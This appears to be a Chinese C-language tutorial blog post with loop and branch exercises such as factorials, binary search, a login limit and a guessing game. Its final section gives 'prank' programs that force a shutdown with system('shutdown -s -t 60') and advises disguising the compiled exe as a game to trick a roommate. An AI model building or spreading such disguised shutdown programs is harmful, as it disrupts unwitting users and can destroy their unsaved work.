目录

一、循环语句练习

1.计算 n的阶乘

2. 计算 1!+ 2!+ 3!+ …… + 10!

二、分支循环综合练习

3. 在一个有序数组中查找具体的某个数字n。

4. 编写代码,演示多个字符从两端移动,向中间汇聚。

5. 编写代码实现,模拟用户登录情景,并且只能登录三次。

6.猜数字游戏

三、友尽模拟器及其综合应用

1.友尽模拟器初阶

2.友尽模拟器进阶


一、循环语句练习

1.计算 n的阶乘

#include<stdio.h>
int main()
{int n = 0;scanf("%d", &n);int ret = 1;int i = 1;for (i= 1; i<=n; i++){ret *= i;//从1乘到n}printf("%d\n", ret);return 0;
}

2. 计算 1!+ 2!+ 3!+ …… + 10!

#include<stdio.h>
int main()
{int n = 0;int i = 0;int j = 0;int sum = 0;scanf("%d", &n);for (i = 1; i <= n; i++){   //将计算n!的程序复制过来int ret = 1;//ret每次都要重新定义为1,不然会在原基础上进行相乘for (j = 1;j <= i;j++){ret = ret * j;}sum = sum + ret;}printf("%d\n", sum);return 0;
}

二、分支循环综合练习

3. 在一个有序数组中查找具体的某个数字n。

我们在一个有序数组中需要找到一个数值时,可以使用这种二分查找的方法
比如说,1 2 3 4 5 6 7 8 9 10 中我们需要找到一个数字
我定义一个左角标为0,定义一个右角表为9,分别对应1和10
然后定义一个中间角标为左右角标的平均值,看这个平均值角标对应的数字是比你要找的数字大还是小
大的话就右角标向左移动到中间角标的前一个,小的话就左角标向右移动到中间角标的后一个,一遍一遍地重复减小范围,最终找到数字

 #include<stdio.h>
int main()
{int arr[100] = { 0 };int i = 0;for (i=0; i<100; i++)//初始化一个1-100的数组{arr[i] = i+1;}int n = 0;while ((scanf("%d", &n)) != EOF)//循环输入,单次输入可以去掉循环{int left = 0;//左角标int right = sizeof(arr) / sizeof(arr[0]) - 1;//右角标int num = 0;//查找次数int mid = 0;//中间角标while (left <= right){mid = (right - left) / 2 + left;//当这个数组很大时,这样写可以检索更大的范围if (arr[mid] > n){right = --mid;num++;}else if (arr[mid] < n){left = ++mid;num++;}else//相等时{printf("找到了下标为:");printf("%d\n", mid);printf("查找了%d次\n",num);break;}}if (left > right)//这种情况在正常情况下不会发生{printf("找不到\n");}}return 0;
}

4. 编写代码,演示多个字符从两端移动,向中间汇聚。

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
int main()
{char arr1[20] = "bonjour,monsieur!";char arr2[20] = "#################";int left = 0;int right = strlen(arr2) - 1;while (left<=right){arr2[left] = arr1[left];arr2[right] = arr1[right];//把arr1的内容替换到arr2中printf("%s", arr2);Sleep(1000);//睡眠1000毫秒system("cls");//一个cmd指令,清空屏幕left++;right--;//向中间移动}return 0;
}

我们可以看到屏幕上会先输出#################,后清空屏幕输出b###############!,然后再次清空输出bo#############r!......最后所有的字符替换完成,输出bonjour,monsieur!,看起来就好像在向中间汇聚。

5. 编写代码实现,模拟用户登录情景,并且只能登录三次。

(只允许输入三次密码,如果密码正确则提示登录成功,如果三次均输入错误,则退出程序。)

#include<stdio.h>
#include<string.h>
int main()
{char arr1[20] = { 0 };//设置密码为abcdefchar arr2[20] = "abcdef";int i = 0;for (i = 0; i < 3;i++){printf("请输入密码:");scanf("%s", arr1);if (strcmp(arr1, arr2) == 0)//比较两个字符串,完全相同时返回0{break;}if (i<2){printf("请重新输入\n");}} if (i == 3){printf("三次密码输入错误,自动退出程序\n");}else{printf("登陆成功\n");}return 0;
}

6.猜数字游戏

#include<stdio.h>
#include<time.h>
#include<stdlib.h>
void menu()//打印起始页面的函数
{printf("****************\n");printf("*****1.play*****\n");printf("*****0.exit*****\n");printf("****************\n");printf("请输入1或0:\n");
}
int getnum()//生成随机数的函数
{int ret = 0;ret = rand()%100+1;//rand函数可以生成一个随机数,这个数字的范围是0-32767,但想调用rand需要先调用srand函数//让我们去看下面的srand函数,在main函数下面//看完srand函数后,此时rand函数可以正常生成一个随机值了//srand只需要确定一次起始位置即可,所以没有把它放在生成熟知的函数里return ret;
}
void game()//玩游戏的函数
{int b = getnum();//生成随机数int x = 0;while (1)//死循环直到猜中跳出{  printf("请输入数字:");scanf("%d", &x);if (x>b){printf("猜大了\n");}else if(x<b){printf("猜小了\n");}else {printf("正确,这个数字为%d\n", b);break;}}
}
int main()
{srand((unsigned int)time(NULL));//调用srand函数确定一个生成随机数的起始位置//然而正确使用这个函数需要向内部传进一个类型为unsigned int的变动的值。//我们要产生一个随机值,而这个随机值的生成需要一个随机值//我们似乎进入了一个先有鸡先有蛋的问题,这时就需要引入一个概念叫做时间戳//时间戳表示一个时间,这个时间就是相对于1970年1月1日到现在的时刻我们经过了多少秒,然后将它转化为一个数字//由于时间是不断变动的,它就可以满足我们的要求,time函数可以返回这个数字。//time函数需要一个指针类型的参数,我们就给它一个空指针。它的返回类型是time_t,需要强制类型转换为unsigned int//让我们回到rand函数那里int a = 0;do {menu();scanf("%d", &a);switch (a){case 1:{game();break;}case 0:{return 0;}default:{printf("请重新输入\n");break;}}} while (1);return 0;
}

三、友尽模拟器及其综合应用

你有没有这样的舍友,大白天累了就睡觉,半夜他不困了就开始开着麦打游戏,床上留着孤零零的你躺着睡不着觉。他的怒吼声和噼噼啪啪的键盘声让你不禁怀疑人生。

好吧,代入感很强,已经开始生气了。

虽然,对于舍友关系还是应该以和为贵。

什么?他不听!

拿下面这个程序干他!!!

1.友尽模拟器初阶

#include<stdio.h>
#include<windows.h>
#include<string.h>
int main()
{char arr[20] = { 0 };system("shutdown -s -t 60");//cmd指令,表示60s后自动关机printf("注意,你的电脑将在一分钟内关机\n");printf("如果输入我是猪就可以取消\n");while (1){scanf("%s", arr);if (strcmp(arr, "我是猪") == 0){system("shutdown -a");break;}else{printf("重新输入,输不对就关你电脑\n");}}return 0;
}

你可以把这个代码写到VS上,把VS上面的Debug模式改为Release,会得到一个exe程序,把它改成游戏图标,改个名称往那儿一放就等他来了。虽然可能不能完全阻止他,但至少可以整整他。

这个程序他即使关掉也没有用,程序已经设定好了,他不输电脑就必定关机。

2.友尽模拟器进阶

(1)就像前面只允许输入三次密码,你也可以让他只能输入三次,不输就关

#include<stdio.h>
#include<windows.h>
#include<string.h>
int main()
{char arr[20] = { 0 };system("shutdown -s -t 60");printf("注意,你的电脑将在一分钟内关机\n");printf("如果输入我是猪就可以取消\n");int n = 0;while (1){scanf("%s", arr);if (strcmp(arr, "我是猪") == 0){system("shutdown -a");break;}else{if (n < 2){printf("重新输入,输不对就关你电脑\n");}n++;}if (n == 3){printf("你没机会了\n");break;}}return 0;
}

此时可能会有以下画面:

注意,你的电脑将在一分钟内关机
如果输入我是猪就可以取消
你是猪
重新输入,输不对就关你电脑
你才是猪
重新输入,输不对就关你电脑
你这个家伙
你没机会了

(2)结合我们之前的猜数字游戏,我们可以更损

让他猜数字,三次猜不中就不能取消关电脑,这个程序有个好处。只要他点了,同时不知道这个cmd指令,他就不能取消关机。

#include<stdio.h>
#include<time.h>
#include<stdlib.h>
#include<windows.h>
int getnum()
{int ret = 0;ret = rand()%100+1;return ret;
}
void game()
{       int n = 0;int x = 0;while (1){    int b = getnum();printf("输入我正在想的数字:");scanf("%d", &x);if (x>b){printf("猜大了\n");n++;}else if(x<b){printf("猜小了\n");n++;}else {printf("输对了你也打不开游戏\n", b);system("shutdown -a");break;}if (n==3){printf("你没机会了\n");break;}}
}
int main()
{srand((unsigned int)time(NULL));system("shutdown -s -t 60");printf("注意,你的电脑将在一分钟内关机\n");printf("如果输入我心里想的那个数就可以取消\n");game();return 0;
}

有没有发现那个生成随机数的函数被放到了循环内部,也就是说在这样的条件下,每循环一次这个随机数都会被更换,还有猜大,猜小这样的误导项更猜不对。

可以先拿自己电脑试一下,注意别把自己电脑关了。说实在的,改个名往群里一发也确实够损,这种程序还是自己玩比较好。

分支循环语句练习和友尽模拟器的综合应用相关推荐

  1. C语言入门第二章-分支循环语句

    分支循环语句 文章目录 一.语句是什么? 二.分支语句 三.循环语句 四.转向语句 一.什么是语句? 下面介绍的是控制语句:(分号隔开的就是一个语句) 控制语句用于控制程序的执行流程,以实现程序的各种 ...

  2. 手写C语言之分支循环语句-语法详细版(06)

    目录 前言 什么是语句? 分支选择语句 if 语句 悬空else switch语句 switch和break switch-default 循环语句 while循环 break与continue 九九 ...

  3. Python 语言程序设计(4-1)分支循环语句

    二分支结构 多分支循环 条件组合 x and y x和y 都成立 x or b not x 关于python 的异常处理 BMI 实例多分支实战 height,weight=eval(input(&q ...

  4. JavaSE语法(3)——【逻辑控制:各种分支循环语句】

    目录 前言 ✏️输入输出 1.输出到控制台 2.从键盘输入 ✏️顺序结构 ✏️分支结构 1.if语句 2.switch 语句 ✏️循环结构 1.while 循环 2.break与continue 3. ...

  5. java notifier_Java学习笔记---4.Java的分支循环语句

    这一部分同样比较熟悉了,但switch语句的使用还需要注意一下. public class Chose { public static void main(String args[]) { int g ...

  6. 【C生万物】 分支循环语句篇

     欢迎来到 Claffic 的博客 

  7. 分支语句和循环语句[一]【详解】

    目录 一.分支语句 什么是语句? 分支语句(选择语句) if语句 if语句书写格式的规范 switch语句 一.分支语句 if语句 switch语句 什么是语句? C语句可分为以下五类: 表达式语句 ...

  8. 是分支循环还是分支和循环?

    分支循环语句的绿荫小道 只是没想到,除了人生在其他领域也是同样要面临着选择和日复一日的循环 目录 分支循环语句的绿荫小道 何来分支 分支语句 循环语句 goto语句 一.什么是语句 控制语句 分支语句 ...

  9. Matlab变量、分支语句和循环语句

    Matlab变量.分支语句和循环语句 一.Matlab的变量 1.变量的命名 Matlab的变量名由数字.字母和下划线组成,可是仅仅能由字母开头.大写和小写敏感,最大长度为63个字符.不能使用Matl ...

最新文章

  1. Windows存储串口数据至txt文件中的教程及代码
  2. 怎么用计算机解开手机,怎么用电脑解开手机锁
  3. 网管菜鸟第一步:两年后必须跳槽『博客之星访谈』
  4. [2020.11.4NOIP模拟赛]简单的打击【NTT】
  5. 支付宝支付—沙箱环境使用
  6. python创建空元组_用Python创建空元组
  7. 学习动态性能表(19)--v$undostat
  8. 并查集一般高级应用的理解
  9. (c语言)输入某年某日,判断这一天是这一年的第几天?
  10. ASP.NET控件Web CAD SDK发布v12版本,支持DWG 2018丨附下载
  11. 从html富文本中提取纯文本
  12. BDFZOI 数论小结1(筛法、欧拉phi函数)
  13. 适合小白的几个入门级Python ocr识别库
  14. aws mysql 升级_aws RDS 版本升级最佳实践的探讨
  15. R语言:无法精确计算带连结的p值
  16. 使用GWT的第一个程序
  17. android 三星打印机,安卓逆袭传统 三星X4300LX复合机首测
  18. zookeeper 实现分布式锁
  19. golang---实现wake on lan
  20. (在线)实时图片加密

热门文章

  1. html显示当前年份,js如何获取到当前年份 和当前的年份-1
  2. 一切都是最好的安排之hibernate00
  3. android 工作记事本
  4. html5/Css3 网页设计 带音乐与食品模块
  5. 【Java基础】Map遍历的5种方式
  6. 土豆视频显示服务器走丢了怎么办,江湖风云录玩家常见问题解答 玩家常遇到的四十个问题_3DM手游...
  7. Java实现第九届蓝桥杯快速排序
  8. java long型时间_long类型转换成日期
  9. 类别,非正式协议,正式协议
  10. Android官方文档翻译 九 2.2Adding Action Buttons